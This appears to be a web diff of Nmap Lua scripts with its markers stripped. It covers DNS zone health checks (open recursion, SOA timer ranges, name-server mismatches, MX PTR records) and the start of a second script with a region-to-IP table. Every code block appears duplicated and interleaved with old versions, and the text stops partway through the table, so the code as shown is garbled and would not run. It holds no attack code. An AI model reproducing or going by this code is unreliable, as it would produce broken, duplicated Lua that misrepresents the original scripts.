desc = "Recursive queries",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
local result = {}
["NS"] = {
{
desc = "Recursive queries",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
local result = {}
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
for _, srv in ipairs(res or {}) do
local status, res = dns.query(PROBE_HOST, { host = srv, dtype='A' })
if ( status ) then
table.insert(result, res)
end
end
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
for _, srv in ipairs(res or {}) do
local status, res = dns.query(PROBE_HOST, { host = srv, dtype='A' })
if ( status ) then
table.insert(result, res)
end
end
local output = "None of the servers allow recursive queries."
if ( 0 < #result ) then
output = ("The following servers allow recursive queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
local output = "None of the servers allow recursive queries."
if ( 0 < #result ) then
output = ("The following servers allow recursive queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
{
desc = "Multiple name servers",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
{
desc = "Multiple name servers",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
local status = Status.FAIL
if ( 1 < #res ) then
status = Status.PASS
end
return true, { status = status, output = ("Server has %d name servers"):format(#res) }
end
},
local status = Status.FAIL
if ( 1 < #res ) then
status = Status.PASS
end
return true, { status = status, output = ("Server has %d name servers"):format(#res) }
end
},
{
desc = "DNS name server IPs are public",
func = function(domain, server)
{
desc = "DNS name server IPs are public",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
local result = {}
for _, srv in ipairs(res or {}) do
local status, res = dns.query(srv, { dtype='A', retAll = true })
if ( not(status) ) then
return false, ("Failed to retrieve IP for DNS: %s"):format(srv)
end
for _, ip in ipairs(res) do
if ( ipOps.isPrivate(ip) ) then
table.insert(result, ip)
end
end
end
local result = {}
for _, srv in ipairs(res or {}) do
local status, res = dns.query(srv, { dtype='A', retAll = true })
if ( not(status) ) then
return false, ("Failed to retrieve IP for DNS: %s"):format(srv)
end
for _, ip in ipairs(res) do
if ( ipOps.isPrivate(ip) ) then
table.insert(result, ip)
end
end
end
local output = "All DNS IPs were public"
if ( 0 < #result ) then
output = ("The following private IPs were detected: %s"):format(stdnse.strjoin(", ", result))
status = Status.FAIL
else
status = Status.PASS
end
local output = "All DNS IPs were public"
if ( 0 < #result ) then
output = ("The following private IPs were detected: %s"):format(stdnse.strjoin(", ", result))
status = Status.FAIL
else
status = Status.PASS
end
return true, { status = status, output = output }
end
},
return true, { status = status, output = output }
end
},
{
desc = "DNS server response",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
{
desc = "DNS server response",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
local result = {}
for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) ) then
table.insert(result, res)
end
end
local result = {}
for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) ) then
table.insert(result, res)
end
end
local output = "All servers respond to DNS queries"
if ( 0 < #result ) then
output = ("The following servers did not respond to DNS queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
local output = "All servers respond to DNS queries"
if ( 0 < #result ) then
output = ("The following servers did not respond to DNS queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
{
desc = "Missing nameservers reported by parent",
func = function(domain, server)
local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers"
end
{
desc = "Missing nameservers reported by parent",
func = function(domain, server)
local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers"
end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true
end
local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true
end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers"
end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers"
end
local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end
local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end
local result = {}
for srv in pairs(domain_dns) do
if ( not(parent_dns[srv]) ) then
table.insert(result, srv)
end
end
local result = {}
for srv in pairs(domain_dns) do
if ( not(parent_dns[srv]) ) then
table.insert(result, srv)
end
end
if ( 0 < #result ) then
local output = ("The following servers were found in the zone, but not in the parent: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
if ( 0 < #result ) then
local output = ("The following servers were found in the zone, but not in the parent: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = "All DNS servers match" }
end,
},
return true, { status = Status.PASS, output = "All DNS servers match" }
end,
},
{
desc = "Missing nameservers reported by your nameservers",
func = function(domain, server)
local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers"
end
{
desc = "Missing nameservers reported by your nameservers",
func = function(domain, server)
local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers"
end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers"
end
local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true
end
local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true
end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers"
end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers"
end
local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end
local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end
local result = {}
for srv in pairs(parent_dns) do
if ( not(domain_dns[srv]) ) then
table.insert(result, srv)
end
end
local result = {}
for srv in pairs(parent_dns) do
if ( not(domain_dns[srv]) ) then
table.insert(result, srv)
end
end
if ( 0 < #result ) then
local output = ("The following servers were found in the parent, but not in the zone: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
if ( 0 < #result ) then
local output = ("The following servers were found in the parent, but not in the zone: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = "All DNS servers match" }
end,
},
return true, { status = Status.PASS, output = "All DNS servers match" }
end,
},
},
},
["SOA"] =
{
{
desc = "SOA REFRESH",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
["SOA"] =
{
{
desc = "SOA REFRESH",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local refresh = tonumber(res.answers[1].SOA.refresh)
if ( not(refresh) ) then
return false, "Failed to retrieve SOA REFRESH"
end
local refresh = tonumber(res.answers[1].SOA.refresh)
if ( not(refresh) ) then
return false, "Failed to retrieve SOA REFRESH"
end
if ( refresh < 1200 or refresh > 43200 ) then
return true, { status = Status.FAIL, output = ("SOA REFRESH was NOT within recommended range (%ss)"):format(refresh) }
else
return true, { status = Status.PASS, output = ("SOA REFRESH was within recommended range (%ss)"):format(refresh) }
end
end
},
if ( refresh < 1200 or refresh > 43200 ) then
return true, { status = Status.FAIL, output = ("SOA REFRESH was NOT within recommended range (%ss)"):format(refresh) }
else
return true, { status = Status.PASS, output = ("SOA REFRESH was within recommended range (%ss)"):format(refresh) }
end
end
},
{
desc = "SOA RETRY",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
{
desc = "SOA RETRY",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local retry = tonumber(res.answers[1].SOA.retry)
if ( not(retry) ) then
return false, "Failed to retrieve SOA RETRY"
end
local retry = tonumber(res.answers[1].SOA.retry)
if ( not(retry) ) then
return false, "Failed to retrieve SOA RETRY"
end
if ( retry < 180 ) then
return true, { status = Status.FAIL, output = ("SOA RETRY was NOT within recommended range (%ss)"):format(retry) }
else
return true, { status = Status.PASS, output = ("SOA RETRY was within recommended range (%ss)"):format(retry) }
end
end
},
if ( retry < 180 ) then
return true, { status = Status.FAIL, output = ("SOA RETRY was NOT within recommended range (%ss)"):format(retry) }
else
return true, { status = Status.PASS, output = ("SOA RETRY was within recommended range (%ss)"):format(retry) }
end
end
},
{
desc = "SOA EXPIRE",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
{
desc = "SOA EXPIRE",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local expire = tonumber(res.answers[1].SOA.expire)
if ( not(expire) ) then
return false, "Failed to retrieve SOA EXPIRE"
end
local expire = tonumber(res.answers[1].SOA.expire)
if ( not(expire) ) then
return false, "Failed to retrieve SOA EXPIRE"
end
if ( expire < 1209600 or expire > 2419200 ) then
return true, { status = Status.FAIL, output = ("SOA EXPIRE was NOT within recommended range (%ss)"):format(expire) }
else
return true, { status = Status.PASS, output = ("SOA EXPIRE was within recommended range (%ss)"):format(expire) }
end
end
},
if ( expire < 1209600 or expire > 2419200 ) then
return true, { status = Status.FAIL, output = ("SOA EXPIRE was NOT within recommended range (%ss)"):format(expire) }
else
return true, { status = Status.PASS, output = ("SOA EXPIRE was within recommended range (%ss)"):format(expire) }
end
end
},
{
desc = "SOA MNAME entry check",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local mname = res.answers[1].SOA.mname
{
desc = "SOA MNAME entry check",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local mname = res.answers[1].SOA.mname
status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
for _, srv in ipairs(res or {}) do
if ( srv == mname ) then
return true, { status = Status.PASS, output = "SOA MNAME record is listed as DNS server" }
end
end
return true, { status = Status.FAIL, output = "SOA MNAME record is NOT listed as DNS server" }
end
},
for _, srv in ipairs(res or {}) do
if ( srv == mname ) then
return true, { status = Status.PASS, output = "SOA MNAME record is listed as DNS server" }
end
end
return true, { status = Status.FAIL, output = "SOA MNAME record is NOT listed as DNS server" }
end
},
{
desc = "Zone serial numbers",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
{
desc = "Zone serial numbers",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers"
end
local result = {}
local serial
local result = {}
local serial
for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record"
end
local s = res.answers[1].SOA.serial
if ( not(serial) ) then
serial = s
elseif( serial ~= s ) then
return true, { status = Status.FAIL, output = "Different zone serials were detected" }
end
end
local s = res.answers[1].SOA.serial
if ( not(serial) ) then
serial = s
elseif( serial ~= s ) then
return true, { status = Status.FAIL, output = "Different zone serials were detected" }
end
end
return true, { status = Status.PASS, output = "Zone serials match" }
end,
},
},
return true, { status = Status.PASS, output = "Zone serials match" }
end,
},
},
["MX"] = {
["MX"] = {
{
desc = "Reverse MX A records",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='MX', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of mail servers"
end
{
desc = "Reverse MX A records",
func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='MX', retAll = true })
if ( not(status) ) then
return false, "Failed to retrieve list of mail servers"
end
local result = {}
for _, record in ipairs(res or {}) do
local prio, mx = record:match("^(%d*):([^:]*)")
local ips
status, ips = dns.query(mx, { dtype='A', retAll=true })
if ( not(status) ) then
return false, "Failed to retrieve A records for MX"
end
local result = {}
for _, record in ipairs(res or {}) do
local prio, mx = record:match("^(%d*):([^:]*)")
local ips
status, ips = dns.query(mx, { dtype='A', retAll=true })
if ( not(status) ) then
return false, "Failed to retrieve A records for MX"
end
for _, ip in ipairs(ips) do
local status, res = dns.query(dns.reverse(ip), { dtype='PTR' })
if ( not(status) ) then
table.insert(result, ip)
end
end
end
for _, ip in ipairs(ips) do
local status, res = dns.query(dns.reverse(ip), { dtype='PTR' })
if ( not(status) ) then
table.insert(result, ip)
end
end
end
local output = "All MX records have PTR records"
if ( 0 < #result ) then
output = ("The following IPs do not have PTR records: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
local output = "All MX records have PTR records"
if ( 0 < #result ) then
output = ("The following IPs do not have PTR records: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output }
end
return true, { status = Status.PASS, output = output }
end
},
}
}
}
action = function(host, port)
local server = host.ip
local output = { name = ("DNS check results for domain: %s"):format(arg_domain) }
local server = host.ip
local output = { name = ("DNS check results for domain: %s"):format(arg_domain) }
for group in pairs(dns_checks) do
local group_output = { name = group }
for _, check in ipairs(dns_checks[group]) do
local status, res = check.func(arg_domain, server)
if ( status ) then
local test_res = ("%s - %s"):format(res.status, check.desc)
table.insert(group_output, { name = test_res, res.output })
else
local test_res = ("ERROR - %s"):format(check.desc)
table.insert(group_output, { name = test_res, res })
end
end
table.insert(output, group_output)
end
return stdnse.format_output(true, output)
for group in pairs(dns_checks) do
local group_output = { name = group }
for _, check in ipairs(dns_checks[group]) do
local status, res = check.func(arg_domain, server)
if ( status ) then
local test_res = ("%s - %s"):format(res.status, check.desc)
table.insert(group_output, { name = test_res, res.output })
else
local test_res = ("ERROR - %s"):format(check.desc)
table.insert(group_output, { name = test_res, res })
end
end
table.insert(output, group_output)
end
return stdnse.format_output(true, output)
end

View File

@@ -58,300 +58,300 @@ local argMask = stdnse.get_script_args(SCRIPT_NAME .. '.mask') or 24
local argAddr = stdnse.get_script_args(SCRIPT_NAME .. '.address')
prerule = function()
if ( not(argDomain) or nmap.address_family() ~= "inet" ) then
return false
end
return true
if ( not(argDomain) or nmap.address_family() ~= "inet" ) then
return false
end
return true
end
portrule = function(host, port)
if ( nmap.address_family() ~= "inet" ) then
return false
else
return shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port)
end
if ( nmap.address_family() ~= "inet" ) then
return false
else
return shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port)
end
end
local areaIPs = {
A4 = {ip=47763456, desc="GB,A4,Bath"},
A5 = {ip=1043402336, desc="GB,A5,Biggleswade"},
A6 = {ip=1364222182, desc="FR,A6,Ch<43>vremont"},
A7 = {ip=35357952, desc="GB,A7,Birmingham"},
A8 = {ip=1050694009, desc="FR,A8,Romainville"},
A9 = {ip=534257152, desc="FR,A9,Montpellier"},
AB = {ip=2156920832, desc="CA,AB,Edmonton"},
AK = {ip=202125312, desc="US,AK,Anchorage"},
B1 = {ip=1041724648, desc="FR,B1,Robert"},
B2 = {ip=35138048, desc="GB,B2,Bournemouth"},
B3 = {ip=33949696, desc="FR,B3,Toulouse"},
B4 = {ip=1050704998, desc="FR,B4,Lomme"},
B5 = {ip=35213312, desc="GB,B5,Wembley"},
B6 = {ip=773106752, desc="FR,B6,Amiens"},
B7 = {ip=35148800, desc="GB,B7,Bristol"},
B8 = {ip=786088496, desc="FR,B8,Valbonne"},
B9 = {ip=33753088, desc="FR,B9,Lyon"},
BC = {ip=201674096, desc="CA,BC,Victoria"},
C1 = {ip=522223616, desc="FR,C1,Strasbourg"},
C2 = {ip=41598976, desc="GB,C2,Halifax"},
C3 = {ip=534676272, desc="GB,C3,Cambridge"},
C5 = {ip=1043410032, desc="GB,C5,Runcorn"},
C6 = {ip=773987544, desc="GB,C6,Saltash"},
C7 = {ip=35165184, desc="GB,C7,Coventry"},
C8 = {ip=35248128, desc="GB,C8,Croydon"},
C9 = {ip=1892301824, desc="PH,C9,Iloilo"},
D1 = {ip=35414016, desc="GB,D1,Darlington"},
D2 = {ip=35164672, desc="GB,D2,Derby"},
D3 = {ip=35301376, desc="GB,D3,Chesterfield"},
D4 = {ip=1043450424, desc="GB,D4,Barnstaple"},
D5 = {ip=2036385792, desc="PH,D5,Legaspi"},
D7 = {ip=41451520, desc="GB,D7,Dudley"},
D8 = {ip=35279104, desc="GB,D8,Durham"},
D9 = {ip=460228608, desc="PH,D9,Manila"},
DC = {ip=68514448, desc="US,DC,Washington"},
E1 = {ip=1040645056, desc="GB,E1,Beverley"},
E2 = {ip=35206912, desc="GB,E2,Brighton"},
E3 = {ip=47822848, desc="GB,E3,Enfield"},
E4 = {ip=39874560, desc="GB,E4,Colchester"},
E5 = {ip=35270656, desc="GB,E5,Gateshead"},
E6 = {ip=1368606720, desc="GB,E6,Coleford"},
E7 = {ip=1051376056, desc="GB,E7,Woolwich"},
E8 = {ip=1044737528, desc="GB,E8,Hackney"},
F1 = {ip=1043451648, desc="GB,F1,Hammersmith"},
F2 = {ip=35176448, desc="GB,F2,Basingstoke"},
F4 = {ip=47998976, desc="GB,F4,Harrow"},
F5 = {ip=1040622704, desc="GB,F5,Hart"},
F6 = {ip=35230720, desc="GB,F6,Romford"},
F8 = {ip=35214848, desc="GB,F8,Watford"},
F9 = {ip=41693184, desc="GB,F9,Uxbridge"},
G1 = {ip=41437184, desc="GB,G1,Hounslow"},
G2 = {ip=35188224, desc="GB,G2,Ryde"},
G3 = {ip=41861120, desc="GB,G3,Islington"},
G4 = {ip=1040704992, desc="GB,G4,Kensington"},
G5 = {ip=41506816, desc="GB,G5,Ashford"},
G6 = {ip=786894336, desc="GB,G6,Hull"},
G8 = {ip=40112128, desc="GB,G8,Huddersfield"},
G9 = {ip=1380217968, desc="GB,G9,Knowsley"},
H1 = {ip=1044731464, desc="GB,H1,Lambeth"},
H2 = {ip=3512017264, desc="GB,H2,Earby"},
H3 = {ip=35221504, desc="GB,H3,Leeds"},
H4 = {ip=35158016, desc="GB,H4,Leicester"},
H5 = {ip=1043402716, desc="GB,H5,Loughborough"},
H6 = {ip=41732608, desc="GB,H6,Catford"},
H7 = {ip=41863168, desc="GB,H7,Lincoln"},
H8 = {ip=35294976, desc="GB,H8,Liverpool"},
H9 = {ip=35196928, desc="GB,H9,London"},
I1 = {ip=35253760, desc="GB,I1,Luton"},
I2 = {ip=35263488, desc="GB,I2,Manchester"},
I3 = {ip=47714304, desc="GB,I3,Rochester"},
I4 = {ip=1298651136, desc="GB,I4,Morden"},
I5 = {ip=1382961968, desc="GB,I5,Middlesborough"},
I8 = {ip=1371219061, desc="GB,I8,Stepney"},
I9 = {ip=35282944, desc="GB,I9,Norwich"},
IA = {ip=201438272, desc="US,IA,Urbandale"},
J1 = {ip=523578880, desc="GB,J1,Daventry"},
J2 = {ip=788492344, desc="GB,J2,Grimsby"},
J3 = {ip=3282790208, desc="GB,J3,Flixborough"},
J5 = {ip=41759232, desc="GB,J5,Wallsend"},
J6 = {ip=1043412268, desc="GB,J6,Alnwick"},
J7 = {ip=41783296, desc="GB,J7,Harrogate"},
J8 = {ip=35160064, desc="GB,J8,Nottingham"},
J9 = {ip=47742976, desc="GB,J9,Newark"},
JA = {ip=1476096512, desc="RU,JA,Kurilsk"},
K1 = {ip=48015360, desc="GB,K1,Oldham"},
K2 = {ip=1043402360, desc="GB,K2,Kidlington"},
K3 = {ip=39956480, desc="GB,K3,Peterborough"},
K4 = {ip=41735168, desc="GB,K4,Plymouth"},
K5 = {ip=775747568, desc="GB,K5,Poole"},
K6 = {ip=774162844, desc="GB,K6,Portsmouth"},
K7 = {ip=41746432, desc="GB,K7,Reading"},
K8 = {ip=35229696, desc="GB,K8,Ilford"},
L1 = {ip=47773696, desc="GB,L1,Twickenham"},
L2 = {ip=48103424, desc="GB,L2,Rochdale"},
L3 = {ip=35304192, desc="GB,L3,Rotherham"},
L4 = {ip=1043416984, desc="GB,L4,Oakham"},
L5 = {ip=772988024, desc="GB,L5,Salford"},
L6 = {ip=35336192, desc="GB,L6,Shrewsbury"},
L7 = {ip=1043419464, desc="GB,L7,Oldbury"},
L8 = {ip=39936000, desc="GB,L8,Lytham"},
L9 = {ip=35304448, desc="GB,L9,Sheffield"},
M1 = {ip=35384320, desc="GB,M1,Slough"},
M2 = {ip=41470976, desc="GB,M2,Solihull"},
M4 = {ip=35139584, desc="GB,M4,Southampton"},
M5 = {ip=1043402176, desc="GB,M5,Southend-on-sea"},
M6 = {ip=773986248, desc="GB,M6,Hill"},
M8 = {ip=1443330688, desc="GB,M8,Camberwell"},
M9 = {ip=35322880, desc="GB,M9,Stafford"},
MB = {ip=1076550400, desc="CA,MB,Winnipeg"},
MI = {ip=201393888, desc="US,MI,Saginaw"},
N1 = {ip=1318741928, desc="GB,N1,Haydock"},
N2 = {ip=35266560, desc="GB,N2,Stockport"},
N3 = {ip=41832448, desc="GB,N3,Stockton-on-tees"},
N4 = {ip=3231559680, desc="GB,N4,Longport"},
N5 = {ip=1043424608, desc="GB,N5,Beccles"},
N6 = {ip=35276800, desc="GB,N6,Sunderland"},
N7 = {ip=41551872, desc="GB,N7,Tadworth"},
N8 = {ip=41697280, desc="GB,N8,Sutton"},
N9 = {ip=35252736, desc="GB,N9,Swindon"},
NB = {ip=2211053568, desc="CA,NB,Fredericton"},
ND = {ip=201473536, desc="US,ND,Bismarck"},
NH = {ip=201772808, desc="US,NH,Laconia"},
NJ = {ip=201352704, desc="US,NJ,Piscataway"},
NS = {ip=3226164992, desc="CA,NS,Halifax"},
NT = {ip=3332472320, desc="CA,NT,Yellowknife"},
NV = {ip=202261184, desc="US,NV,Henderson"},
O2 = {ip=40251392, desc="GB,O2,Telford"},
O3 = {ip=35230208, desc="GB,O3,Grays"},
O4 = {ip=35318784, desc="GB,O4,Torquay"},
O5 = {ip=1368498352, desc="GB,O5,Poplar"},
O6 = {ip=1546138112, desc="GB,O6,Stretford"},
O7 = {ip=35219456, desc="GB,O7,Wakefield"},
O8 = {ip=35321856, desc="GB,O8,Walsall"},
O9 = {ip=1359108248, desc="GB,O9,Walthamstow"},
ON = {ip=201620304, desc="CA,ON,Ottawa"},
P1 = {ip=1043431736, desc="GB,P1,Wandsworth"},
P2 = {ip=35260416, desc="GB,P2,Warrington"},
P3 = {ip=41766912, desc="GB,P3,Nuneaton"},
P4 = {ip=41893888, desc="GB,P4,Newbury"},
P5 = {ip=772987648, desc="GB,P5,Westminster"},
P7 = {ip=41466624, desc="GB,P7,Wigan"},
P8 = {ip=48087808, desc="GB,P8,Salisbury"},
P9 = {ip=41793536, desc="GB,P9,Maidenhead"},
Q1 = {ip=41457664, desc="GB,Q1,Wallasey"},
Q2 = {ip=1040739840, desc="GB,Q2,Wokingham"},
Q3 = {ip=35323392, desc="GB,Q3,Wolverhampton"},
Q4 = {ip=539624744, desc="GB,Q4,Redditch"},
Q5 = {ip=1043415688, desc="GB,Q5,Wetherby"},
Q6 = {ip=1043439984, desc="GB,Q6,Antrim"},
Q7 = {ip=41811456, desc="GB,Q7,Newtownards"},
Q8 = {ip=1347208672, desc="GB,Q8,Armagh"},
Q9 = {ip=1044726432, desc="GB,Q9,Connor"},
QC = {ip=2210594816, desc="CA,QC,Varennes"},
R1 = {ip=1482707288, desc="GB,R1,Ballymoney"},
R3 = {ip=47828992, desc="GB,R3,Belfast"},
R4 = {ip=1051352576, desc="GB,R4,Eden"},
R5 = {ip=1056827328, desc="GB,R5,Castlereagh"},
R6 = {ip=47895040, desc="GB,R6,Coleraine"},
R7 = {ip=3270400320, desc="GB,R7,Dunmore"},
R8 = {ip=1367996672, desc="GB,R8,Portadown"},
R9 = {ip=773985608, desc="GB,R9,Square"},
RI = {ip=67285760, desc="US,RI,Providence"},
S1 = {ip=1040409048, desc="GB,S1,Drummond"},
S2 = {ip=1353842208, desc="GB,S2,Enniskillen"},
S3 = {ip=1368133632, desc="GB,S3,Larne"},
S4 = {ip=1446384520, desc="GB,S4,Ardmore"},
S5 = {ip=1043419184, desc="GB,S5,Lisburn"},
S6 = {ip=1056826304, desc="GB,S6,Londonderry"},
S7 = {ip=1359111383, desc="GB,S7,Curran"},
S8 = {ip=1369435392, desc="GB,S8,Waterfoot"},
S9 = {ip=1043434592, desc="GB,S9,Newry"},
T1 = {ip=3242033152, desc="GB,T1,Jordanstown"},
T2 = {ip=1043402000, desc="GB,T2,Bangor"},
T3 = {ip=1043429728, desc="GB,T3,Omagh"},
T4 = {ip=1043429520, desc="GB,T4,Strabane"},
T5 = {ip=39849984, desc="GB,T5,Aberdeen"},
T6 = {ip=1043407024, desc="GB,T6,Inverurie"},
T7 = {ip=47917056, desc="GB,T7,Forfar"},
T8 = {ip=1051457600, desc="GB,T8,Sandbank"},
T9 = {ip=1043429424, desc="GB,T9,Melrose"},
TX = {ip=201673024, desc="US,TX,Mckinney"},
U1 = {ip=1043400976, desc="GB,U1,Alloa"},
U2 = {ip=1353815544, desc="GB,U2,Langholm"},
U3 = {ip=1042190336, desc="GB,U3,Dundee"},
U4 = {ip=1043428036, desc="GB,U4,Newmilns"},
U5 = {ip=1051334704, desc="GB,U5,Bishopbriggs"},
U6 = {ip=1040628912, desc="GB,U6,Musselburgh"},
U7 = {ip=1056881248, desc="GB,U7,Barrhead"},
U8 = {ip=35188736, desc="GB,U8,Edinburgh"},
U9 = {ip=1318744616, desc="GB,U9,Blackstone"},
V1 = {ip=47947776, desc="GB,V1,Kirkcaldy"},
V2 = {ip=35190784, desc="GB,V2,Glasgow"},
V4 = {ip=1043417560, desc="GB,V4,Greenock"},
V5 = {ip=3570359128, desc="GB,V5,Borthwick"},
V6 = {ip=1398983520, desc="GB,V6,Findhorn"},
V7 = {ip=1043452928, desc="GB,V7,Saltcoats"},
V8 = {ip=523564544, desc="GB,V8,Bothwell"},
V9 = {ip=1353706504, desc="GB,V9,Redland"},
VT = {ip=201355264, desc="US,VT,Brattleboro"},
W1 = {ip=1042195200, desc="GB,W1,Perth"},
W2 = {ip=1043412560, desc="GB,W2,Paisley"},
W4 = {ip=1056825616, desc="GB,W4,Dundonald"},
W5 = {ip=1040411544, desc="GB,W5,Douglas"},
W6 = {ip=41547776, desc="GB,W6,Stirling"},
W7 = {ip=1443523584, desc="GB,W7,Bearsden"},
